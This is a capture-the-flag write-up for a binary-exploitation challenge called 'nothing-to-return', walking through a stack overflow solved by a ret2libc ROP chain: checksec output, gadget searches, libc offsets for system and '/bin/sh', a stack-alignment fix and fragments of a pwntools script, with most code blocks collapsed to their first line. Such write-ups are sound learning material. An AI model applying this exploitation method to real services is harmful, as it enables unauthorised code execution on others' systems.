nothing-to-return
written by hartmannsyg
We are given a binary and a libc.
┌──(rwandi㉿ryan)-[~/ctf/uoft] └─$ checksec ntr [*] '/home/rwandi/ctf/uoft/ntr' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3fe000) RUNPATH: b'.' |
my strange method to get libc working
Install the latest pre-release version of pwntools:
python3 -m pip install --upgrade --pre pwntools |
then in the solve script:
1 | version = 'libc.so.6' |
┌──(rwandi㉿ryan)-[~/ctf/uoft] └─$ ./ntr_remotelibc printf is at 0x7f318b125250 Hello give me an input Input size: 16 Enter your input: aaaaaaaaaaaaaaaa I'm returning the input: aaaaaaaaaaaaaaa |
If we open this up in ghidra:
1 | undefined8 main(EVP_PKEY_CTX *param_1) |
1 | void get_input(void *end_location) |
What this program does is:
- leak printf location (this is our libc leak)
- ask for input size
- read specified number of bytes into
buffer
(in main())
We essentially have a buffer overflow as we can input more than the buffer can store.
- No canary found so we don’t need a canary leak
- NX enabled so we have to ROP our way using gadgets to shell
- The binary is too small so we need to use gadgets within the libc provided
┌──(rwandi㉿ryan)-[~/ctf/uoft] └─$ ROPgadget --binary ./libc.so.6 | grep 'pop rdi ; ret' 0x00000000000a1457 : inc dword ptr [rbp + 0x158d48c0] ; pop rdi ; retf 0xc 0x0000000000028265 : pop rdi ; ret 0x000000000003df6d : pop rdi ; ret 0x16 0x000000000005a47d : pop rdi ; ret 0xffff 0x00000000000a145d : pop rdi ; retf 0xc 0x00000000000a1459 : ror byte ptr [rax - 0x73], 0x15 ; pop rdi ; retf 0xc |
To run system(“/bin/sh”), we need:
- system
We need to know if system() is in the libc:
from pwn import * libc = ELF('./libc.so.6') [*] '/home/rwandi/ctf/uoft/libc.so.6' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled hex(libc.sym['system']) '0x4f760' |
- “/bin/sh” string in the libc
hex(next(libc.search(b'/bin/sh'))) '0x19fe34' |
Yep, there is a “/bin/sh” in the libc
- “pop rdi; ret” gadget so that we can input that string into
┌──(rwandi㉿ryan)-[~/ctf/uoft] └─$ ROPgadget --binary ./libc.so.6 | grep 'pop rdi ; ret' 0x00000000000a1457 : inc dword ptr [rbp + 0x158d48c0] ; pop rdi ; retf 0xc |
So let’s create our script:
1 | from pwn import * context.binary = elf = ELF('./ntr') context.log_level = 'debug' |
Program received signal SIGSEGV, Segmentation fault. 0x00007f1f1063a44b in ?? () from target:/home/rwandi/.cache/.pwntools-cache-3.11/libcdb_libs/316d0d3666387f0e8f b98773f51aa1801027c5ab/libc.so.6 LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────── ... ─────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────── |
We have a movaps stack alignment issue. To fix this, we have to find a ret gadget:
┌──(rwandi㉿ryan)-[~/ctf/uoft] └─$ ROPgadget --binary ./libc.so.6 | grep ": ret$" 0x000000000002648d : ret |
1 | from pwn import * context.binary = elf = ELF('./ntr') # context.log_level = 'debug' |
And we get shell!
We have succesfully ntred